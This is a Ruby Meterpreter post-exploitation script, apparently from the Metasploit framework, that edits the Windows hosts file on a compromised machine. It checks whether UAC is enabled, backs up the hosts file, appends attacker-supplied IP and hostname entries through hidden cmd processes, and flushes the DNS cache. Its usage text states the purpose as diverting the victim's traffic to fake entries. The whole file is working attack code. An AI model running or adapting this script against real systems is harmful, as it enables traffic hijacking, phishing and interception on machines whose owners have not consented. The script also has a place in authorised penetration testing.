# $Id$
# $Revision$
# Meterpreter script for modifying the hosts file in windows
# given a single entrie or several in a file and clear the
# DNS cache on the target machine.
# This script works with Windows 2000,Windows XP,Windows 2003,
# Windows Vista and Windows 2008.
# Provided: carlos_perez[at]darkoperator[dot]com
# Version: 0.1.0
# Note: in Vista UAC must be disabled to be able to perform hosts
# file modifications.
################## Variable Declarations ##################
session = client
# Setting Arguments
@@exec_opts = Rex::Parser::Arguments.new(
	"-h" => [ false, "Help Options." ],
	"-e" => [ true,  "Host entry in the format of IP,Hostname." ],
	"-l" => [ true,  "Text file with list of entries in the format of IP,Hostname. One per line." ]
)
def usage
	print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
	print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
	print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
	print_line("entry can be provided or a series of entries provided a file with one per line.")
	print_line(@@exec_opts.usage)
	print_line("Example:\n\n")
	print_line("run hostsedit -e 127.0.0.1,google.com\n")
	print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
	raise Rex::Script::Completed
end


record = ""
#Set path to the hosts file
hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts"
#Function check if UAC is enabled
def checkuac(session)
	winver = session.sys.config.sysinfo
	if winver["OS"] =~ (/Windows 7|Vista/)
		print_status("Checking if UAC is enabled.")
		open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
		value = open_key.query_value("EnableLUA").data
		if value == 1
			print_status("\tUAC is enabled")
			raise "Unable to continue UAC is enabbled."
		else
			print_status("\tUAC is disabled")
			status = false
		end
	end
end
#Function for adding record to hosts file
def add2hosts(session,record,hosts)
	ip,host = record.split(",")
	print_status("Adding Record for Host #{host} with IP #{ip}")
	session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
end

#Make a backup of the hosts file on the target
def backuphosts(session,hosts)
	random = sprintf("%.5d",rand(100000))
	print_status("Making Backup of the hosts file.")
	session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
	print_status("Backup loacated in #{hosts}#{random}.back")
end
# Clear DNS Cached entries
def cleardnscach(session)
	print_status("Clearing the DNS Cache")
	session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
end
if client.platform =~ /win32|win64/
	@@exec_opts.parse(args) { |opt, idx, val|
		case opt
		when "-e"
			checkuac(session)
			backuphosts(session,hosts)
			add2hosts(session,val,hosts)
			cleardnscach(session)
		when "-l"
			checkuac(session)
			if not ::File.exists?(val)
				raise "File #{val} does not exists!"
			else
				backuphosts(session,hosts)
				::File.open(val, "r").each_line do |line|
					next if line.strip.length < 1
					next if line[0,1] == "#"
					add2hosts(session,line.chomp,hosts)
				end
				cleardnscach(session)
			end
		when "-h"
			usage
		end
	}
	if args.length == 0
		usage
	end
else
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end
